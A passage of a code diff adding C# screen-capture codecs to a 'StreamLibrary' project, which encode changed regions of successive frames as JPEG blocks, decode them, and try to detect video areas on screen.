|
||||||
|
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
int Stride = 0;
|
||||||
|
int RawLength = 0;
|
||||||
|
int PixelSize = 0;
|
||||||
|
|
||||||
|
FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support
|
||||||
|
switch (Format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
case PixelFormat.Format32bppRgb:
|
||||||
|
PixelSize = 3;
|
||||||
|
break;
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format32bppPArgb:
|
||||||
|
PixelSize = 4;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(Format + " is not supported.");
|
||||||
|
}
|
||||||
|
|
||||||
|
Stride = ImageSize.Width * PixelSize;
|
||||||
|
RawLength = Stride * ImageSize.Height;
|
||||||
|
|
||||||
|
//first frame
|
||||||
|
if (EncodeBuffer == null)
|
||||||
|
{
|
||||||
|
this.EncodedFormat = Format;
|
||||||
|
this.EncodedWidth = ImageSize.Width;
|
||||||
|
this.EncodedHeight = ImageSize.Height;
|
||||||
|
this.EncodeBuffer = new byte[RawLength];
|
||||||
|
fixed (byte* ptr = EncodeBuffer)
|
||||||
|
{
|
||||||
|
byte[] temp = null;
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||||
|
{
|
||||||
|
temp = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (this.EncodedFormat != Format)
|
||||||
|
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||||
|
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||||
|
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||||
|
if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight)
|
||||||
|
throw new Exception("Scan Area Width/Height cannot be greater then the encoded image");
|
||||||
|
|
||||||
|
|
||||||
|
List<Rectangle> Blocks = new List<Rectangle>(); //all the changes
|
||||||
|
fixed (byte* encBuffer = EncodeBuffer)
|
||||||
|
{
|
||||||
|
//1. Check for the changes in height
|
||||||
|
for (int y = ScanArea.Y; y < ScanArea.Height; y++)
|
||||||
|
{
|
||||||
|
Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1);
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width);
|
||||||
|
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
|
||||||
|
{
|
||||||
|
int index = Blocks.Count - 1;
|
||||||
|
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||||
|
{
|
||||||
|
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||||
|
Blocks[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Blocks.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//2. Capture all the changes using the CheckBlock
|
||||||
|
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||||
|
for (int i = 0; i < Blocks.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle scanBlock = Blocks[i];
|
||||||
|
|
||||||
|
//go through the Blocks
|
||||||
|
for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height)
|
||||||
|
{
|
||||||
|
for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width)
|
||||||
|
{
|
||||||
|
int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x;
|
||||||
|
int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y;
|
||||||
|
Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight);
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
//scan the block from Top To Bottom and check for changes
|
||||||
|
bool FoundChanges = false;
|
||||||
|
for (int blockY = y; blockY < y + blockHeight; blockY++)
|
||||||
|
{
|
||||||
|
int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth);
|
||||||
|
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
|
||||||
|
{
|
||||||
|
FoundChanges = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (FoundChanges)
|
||||||
|
{
|
||||||
|
int index = finalUpdates.Count - 1;
|
||||||
|
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[index];
|
||||||
|
int newWidth = cBlock.Width + rect.Width;
|
||||||
|
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||||
|
finalUpdates[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
finalUpdates.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//maybe a too hard algorithm but oh well
|
||||||
|
SortedList<int, SortedList<int, Rectangle>> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows();
|
||||||
|
List<Rectangle> FinalTemp = new List<Rectangle>();
|
||||||
|
|
||||||
|
for (int i = 0; i < Array.Values.Count; i++)
|
||||||
|
{
|
||||||
|
FinalTemp.AddRange(Array.Values[i].Values);
|
||||||
|
}
|
||||||
|
|
||||||
|
//fixup the height
|
||||||
|
for (int i = 0; i < FinalTemp.Count; )
|
||||||
|
{
|
||||||
|
if (FinalTemp.Count == 1)
|
||||||
|
{
|
||||||
|
FinalTemp.Add(FinalTemp[i]);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (i + 1 < FinalTemp.Count)
|
||||||
|
{
|
||||||
|
Rectangle curRect = FinalTemp[i];
|
||||||
|
Rectangle nextRect = FinalTemp[i + 1];
|
||||||
|
if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width)
|
||||||
|
{
|
||||||
|
FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height);
|
||||||
|
FinalTemp.RemoveAt(i + 1);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//copy changes to the EncodeBuffer and Process the Output
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
for (int i = 0; i < FinalTemp.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = FinalTemp[i];
|
||||||
|
int blockStride = PixelSize * rect.Width;
|
||||||
|
|
||||||
|
//copy changes to EncodeBuffer
|
||||||
|
for (int y = rect.Y; y < rect.Y + rect.Height; y++)
|
||||||
|
{
|
||||||
|
int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width);
|
||||||
|
NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes
|
||||||
|
}
|
||||||
|
|
||||||
|
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||||
|
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||||
|
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||||
|
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
}
|
||||||
|
TmpBmp.UnlockBits(TmpData);
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
|
||||||
|
long length = outStream.Position;
|
||||||
|
long OldPos = outStream.Position;
|
||||||
|
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||||
|
length = outStream.Position - length;
|
||||||
|
|
||||||
|
outStream.Position = OldPos - 4;
|
||||||
|
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||||
|
outStream.Position += length;
|
||||||
|
TmpBmp.Dispose();
|
||||||
|
TotalDataLength += (int)length + (4 * 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
Blocks.Clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||||
|
{
|
||||||
|
if (Length < 4)
|
||||||
|
return decodedBitmap;
|
||||||
|
|
||||||
|
int DataSize = *(int*)(CodecBuffer);
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[DataSize];
|
||||||
|
fixed (byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||||
|
if (DataSize > 0)
|
||||||
|
{
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
for (int i = 4; DataSize > 0; )
|
||||||
|
{
|
||||||
|
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||||
|
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||||
|
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||||
|
byte[] temp = new byte[UpdateLen];
|
||||||
|
|
||||||
|
fixed (byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||||
|
{
|
||||||
|
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
i += UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
}
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> updates = new List<Rectangle>();
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
tmp.Dispose();
|
||||||
|
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,473 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.UnsafeCodecs
|
||||||
|
{
|
||||||
|
public class UnsafeOptimizedCodec : IUnsafeCodec
|
||||||
|
{
|
||||||
|
private class PopulairPoint
|
||||||
|
{
|
||||||
|
public Rectangle Rect;
|
||||||
|
public int Score;
|
||||||
|
public Stopwatch LastUpdate;
|
||||||
|
|
||||||
|
public PopulairPoint(Rectangle rect)
|
||||||
|
{
|
||||||
|
this.Rect = rect;
|
||||||
|
this.Score = 0;
|
||||||
|
this.LastUpdate = Stopwatch.StartNew();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 1; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public Size CheckBlock { get; private set; }
|
||||||
|
private object ImageProcessLock = new object();
|
||||||
|
private byte[] EncodeBuffer;
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
private PixelFormat EncodedFormat;
|
||||||
|
private int EncodedWidth;
|
||||||
|
private int EncodedHeight;
|
||||||
|
private List<PopulairPoint> populairPoints;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
private Stopwatch ScreenRefreshSW = Stopwatch.StartNew();
|
||||||
|
|
||||||
|
//options
|
||||||
|
/// <summary> If a part in the image is been changing for the last x milliseconds it will be seen as a video </summary>
|
||||||
|
public uint AliveTimeForBeingVideo = 5000;
|
||||||
|
/// <summary> This will check if the video went away or stopped playing so it will refresh the other parts in the image </summary>
|
||||||
|
public uint ScreenRefreshTimer = 2000;
|
||||||
|
/// <summary> The size for being a video, if bigger or equal to the VideoScreenSize it must be a video </summary>
|
||||||
|
public Size VideoScreenSize = new Size(100, 100);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initialize a new object of UnsafeOptimizedCodec
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||||
|
public UnsafeOptimizedCodec(int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
this.populairPoints = new List<PopulairPoint>();
|
||||||
|
this.CheckBlock = new Size(15, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||||
|
{
|
||||||
|
lock (ImageProcessLock)
|
||||||
|
{
|
||||||
|
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
int Stride = 0;
|
||||||
|
int RawLength = 0;
|
||||||
|
int PixelSize = 0;
|
||||||
|
|
||||||
|
switch (Format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
PixelSize = 3;
|
||||||
|
break;
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format32bppPArgb:
|
||||||
|
PixelSize = 4;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(Format.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
Stride = ImageSize.Width * PixelSize;
|
||||||
|
RawLength = Stride * ImageSize.Height;
|
||||||
|
|
||||||
|
if (EncodeBuffer == null)
|
||||||
|
{
|
||||||
|
this.EncodedFormat = Format;
|
||||||
|
this.EncodedWidth = ImageSize.Width;
|
||||||
|
this.EncodedHeight = ImageSize.Height;
|
||||||
|
this.EncodeBuffer = new byte[RawLength];
|
||||||
|
fixed (byte* ptr = EncodeBuffer)
|
||||||
|
{
|
||||||
|
byte[] temp = null;
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||||
|
{
|
||||||
|
temp = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < populairPoints.Count; i++)
|
||||||
|
{
|
||||||
|
if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5)
|
||||||
|
{
|
||||||
|
populairPoints.RemoveAt(i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ScreenRefreshSW = Stopwatch.StartNew();
|
||||||
|
}
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
List<byte[]> updates = new List<byte[]>();
|
||||||
|
MemoryStream ms = new MemoryStream();
|
||||||
|
byte[] buffer = null;
|
||||||
|
|
||||||
|
if (this.EncodedFormat != Format)
|
||||||
|
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||||
|
|
||||||
|
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||||
|
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||||
|
|
||||||
|
List<Rectangle> Blocks = new List<Rectangle>();
|
||||||
|
int index = 0;
|
||||||
|
|
||||||
|
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||||
|
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||||
|
|
||||||
|
int lasty = ScanArea.Height - lastSize.Height;
|
||||||
|
int lastx = ScanArea.Width - lastSize.Width;
|
||||||
|
|
||||||
|
Rectangle cBlock = new Rectangle();
|
||||||
|
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||||
|
|
||||||
|
PopulairPoint[] points = GetPossibleVideos();
|
||||||
|
if (points.Length > 0)
|
||||||
|
{
|
||||||
|
ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y);
|
||||||
|
}
|
||||||
|
|
||||||
|
s = new Size(ScanArea.Width, s.Height);
|
||||||
|
fixed (byte* encBuffer = EncodeBuffer)
|
||||||
|
{
|
||||||
|
if (points.Length == 0) //only scan if there is no video
|
||||||
|
{
|
||||||
|
for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||||
|
{
|
||||||
|
if (y == lasty)
|
||||||
|
s = new Size(ScanArea.Width, lastSize.Height);
|
||||||
|
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||||
|
|
||||||
|
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||||
|
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||||
|
{
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
index = Blocks.Count - 1;
|
||||||
|
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||||
|
{
|
||||||
|
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||||
|
Blocks[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Blocks.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
y += s.Height;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
|
||||||
|
{
|
||||||
|
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||||
|
x = ScanArea.X;
|
||||||
|
while (x != ScanArea.Width)
|
||||||
|
{
|
||||||
|
if (x == lastx)
|
||||||
|
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||||
|
|
||||||
|
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||||
|
bool FoundChanges = false;
|
||||||
|
int blockStride = PixelSize * cBlock.Width;
|
||||||
|
|
||||||
|
for (int j = 0; j < cBlock.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X);
|
||||||
|
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
|
||||||
|
FoundChanges = true;
|
||||||
|
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
}
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
if (FoundChanges)
|
||||||
|
{
|
||||||
|
index = finalUpdates.Count - 1;
|
||||||
|
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[index];
|
||||||
|
int newWidth = cBlock.Width + rect.Width;
|
||||||
|
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||||
|
finalUpdates[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
finalUpdates.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
x += s.Width;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
finalUpdates.Add(points[0].Rect);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < finalUpdates.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[i];
|
||||||
|
int blockStride = PixelSize * rect.Width;
|
||||||
|
|
||||||
|
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||||
|
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||||
|
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||||
|
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
}
|
||||||
|
TmpBmp.UnlockBits(TmpData);
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
|
||||||
|
long length = outStream.Position;
|
||||||
|
long OldPos = outStream.Position;
|
||||||
|
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||||
|
length = outStream.Position - length;
|
||||||
|
|
||||||
|
outStream.Position = OldPos - 4;
|
||||||
|
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||||
|
outStream.Position += length;
|
||||||
|
|
||||||
|
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
|
||||||
|
{
|
||||||
|
PopulairPoint point = null;
|
||||||
|
if (GetPopulairPoint(rect, ref point))
|
||||||
|
{
|
||||||
|
point.Score++;
|
||||||
|
point.LastUpdate = Stopwatch.StartNew();
|
||||||
|
//Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
populairPoints.Add(new PopulairPoint(rect));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
TmpBmp.Dispose();
|
||||||
|
TotalDataLength += (int)length + (4 * 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*for (int i = 0; i < finalUpdates.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[i];
|
||||||
|
int blockStride = PixelSize * rect.Width;
|
||||||
|
buffer = new byte[blockStride * rect.Height];
|
||||||
|
|
||||||
|
fixed (byte* ptr = buffer)
|
||||||
|
{
|
||||||
|
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||||
|
NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
}
|
||||||
|
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr)))
|
||||||
|
{
|
||||||
|
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
|
||||||
|
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
|
||||||
|
{
|
||||||
|
PopulairPoint point = null;
|
||||||
|
if (GetPopulairPoint(rect, ref point))
|
||||||
|
{
|
||||||
|
point.Score++;
|
||||||
|
point.LastUpdate = Stopwatch.StartNew();
|
||||||
|
Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
populairPoints.Add(new PopulairPoint(rect));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||||
|
outStream.Write(buffer, 0, buffer.Length);
|
||||||
|
TotalDataLength += buffer.Length + (4 * 5);
|
||||||
|
}*/
|
||||||
|
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
Blocks.Clear();
|
||||||
|
ms.Close();
|
||||||
|
ms.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||||
|
{
|
||||||
|
if (Length < 4)
|
||||||
|
return decodedBitmap;
|
||||||
|
|
||||||
|
int DataSize = *(int*)(CodecBuffer);
